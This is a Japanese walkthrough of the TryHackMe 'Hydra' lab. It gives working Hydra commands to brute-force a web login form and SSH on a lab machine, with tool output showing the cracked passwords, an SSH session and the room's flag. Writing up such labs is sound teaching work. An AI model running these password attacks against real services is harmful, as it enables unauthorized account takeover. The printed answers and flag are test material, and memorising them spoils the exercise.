TryHackMe Hydra

Hydraは、ブルートフォース攻撃を行うためのクラッキングツールです。このルームでは、Hydraの基礎を学びます。

Task1 Hydra Introduction

Hydraは、オンライン環境でシステムのログインパスワードを高速に割り出すブルートフォース(総当たり攻撃)ツールです。手動では膨大な時間がかかるSSHやFTP、Webアプリケーションなどの認証サービスに対して、用意したパスワードリストを自動で読み込ませることで、迅速に正しいパスワードを特定できます。

幅広いプロトコルへの対応

Hydraの最大の強みは、対応するプロトコルが極めて豊富な点です。

  • 主要な対応プロトコル: SSH、FTP、HTTP/HTTPS(GET/POSTフォーム)、RDP、SMB、Telnetなど
  • データベース・その他: MySQL、PostgreSQL、MS-SQL、Oracle、LDAP、SNMPなど多数

セキュリティ上の教訓

このタスクでは、推測されやすい「脆弱なパスワード」の危険性と、強力なパスワード設定の重要性が強調されています。CCTV(防犯カメラ)やWebフレームワークなどの初期設定(例: admin:password)は真っ先に狙われるため、導入直後のデフォルトパスワード変更が必須です。

Question

No answer needed

Task2 Using Hydra

Hydraの基本コマンドとパラメータ

Hydraは攻撃対象のプロトコル(サービス)に応じて異なるオプションを組み合わせて使用します。ユーザー名を指定する -l、パスワードリストを指定する -P は共通の基本パラメータです。

SSHへの攻撃

SSHを対象とする場合、スレッド数を指定する -t オプション(例: -t 4 で4スレッド並列実行)を利用して効率化を図ります。

  • コマンド例: hydra -l [ユーザー名] -P [パスワードリスト] [IPアドレス] -t 4 ssh

Webフォーム(POST形式)への攻撃

Webアプリケーションのログインフォームを攻撃する際は、ブラウザのデベロッパーツール等でリクエスト内容を確認し、詳細な条件を指定する必要があります。

  • 構文: http-post-form “[パス:フォームパラメータ:エラー画面の文字列]”
  • 入力欄のユーザー名とパスワードは、それぞれ ^USER^ と ^PASS^ という変数に置き換えて記述します。
  • ログイン失敗時に表示される特定の文字列(例: F=incorrect)を指定することで、Hydraは成否を判定します。

また、標準外のポート番号を狙う場合は -s、詳細な試行ログを出力する場合は -V オプションを併用します。

Question

Use Hydra to brute-force molly’s web password. What is the value of flag 1? 
Hydraを使って、mollyのWebパスワードを総当たり攻撃で解読してください。flag 1の値は何ですか?

Answer

ターゲットVMを起動してWebサイトへアクセスします。ログインフォームが表示されます。

Webフォームのパスワード攻撃のためには、Webフォームの構造を知る必要があります。デベロッパーツールのネットワークタブを開いて、ユーザ名とパスワードを入力して[Login]をクリックします。POSTメソッドで[username]と[password]というパラメータでユーザ名とパスワードを送信していることがわかります。また、ログイン失敗時のエラーメッセージは[Your username or password is incorrect.]です。

こうしたWebフォームの構造からユーザ名[molly]について、Hydraを利用したブルートフォース攻撃を行うコマンドは以下のようになります。

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.49.131.135 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect." -V

コマンドを実行すると[molly]のパスワードを取得できます。

Kali Linux
┌──(kali㉿kali)-[~/Downloads]
└─$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.49.131.135 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect." -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-28 08:18:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.49.131.135:80/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect.
[ATTEMPT] target 10.49.131.135 - login "molly" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.49.131.135 - login "molly" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.49.131.135 - login "molly" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.49.131.135 - login "molly" - pass "password" - 4 of 14344399 [child 3] (0/0)
~省略~
[80][http-post-form] host: 10.49.131.135   login: molly   password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-28 08:19:11

ユーザ名[molly]、パスワード[sunshine]でログインすると、フラグが表示されます。


Use Hydra to brute-force molly’s SSH password. What is the value of flag 2? 
Hydraを使って、mollyのSSHパスワードを総当たり攻撃で解読してください。flag 2の値は何ですか?

Answer

ターゲットVMへSSHでログインするためのパスワードを取得します。以下のHydraのコマンドを実行します。

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.49.131.135 -t 4 ssh
Kali Linux
┌──(kali㉿kali)-[~/Downloads]
└─$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.49.131.135 -t 4 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-28 08:23:27
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.49.131.135:22/
[22][ssh] host: 10.49.131.135   login: molly   password: butterfly
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-28 08:24:04

ターゲットVMにSSHでログインして、ホームディレクトリのflag2.txtを読みます。

Kali Linux
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh molly@10.49.131.135   
The authenticity of host '10.49.131.135 (10.49.131.135)' can't be established.
ED25519 key fingerprint is: SHA256:49g6X6SdNBimHr1B9p/zVU2XdFl/DJmQjVT+pB1djd0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.49.131.135' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
molly@10.49.131.135's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1083-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu 28 May 2026 12:25:49 PM UTC

  System load:  0.0                Processes:             109
  Usage of /:   18.3% of 14.47GB   Users logged in:       0
  Memory usage: 20%                IPv4 address for ens5: 10.49.131.135
  Swap usage:   0%

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

7 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Dec 17 14:37:49 2019 from 10.8.11.98
molly@ip-10-49-131-135:~$ ls 
flag2.txt
molly@ip-10-49-131-135:~$ cat flag2.txt 
THM{c8eeb0468febbadea859baeb33b2541b}
molly@ip-10-49-131-135:~$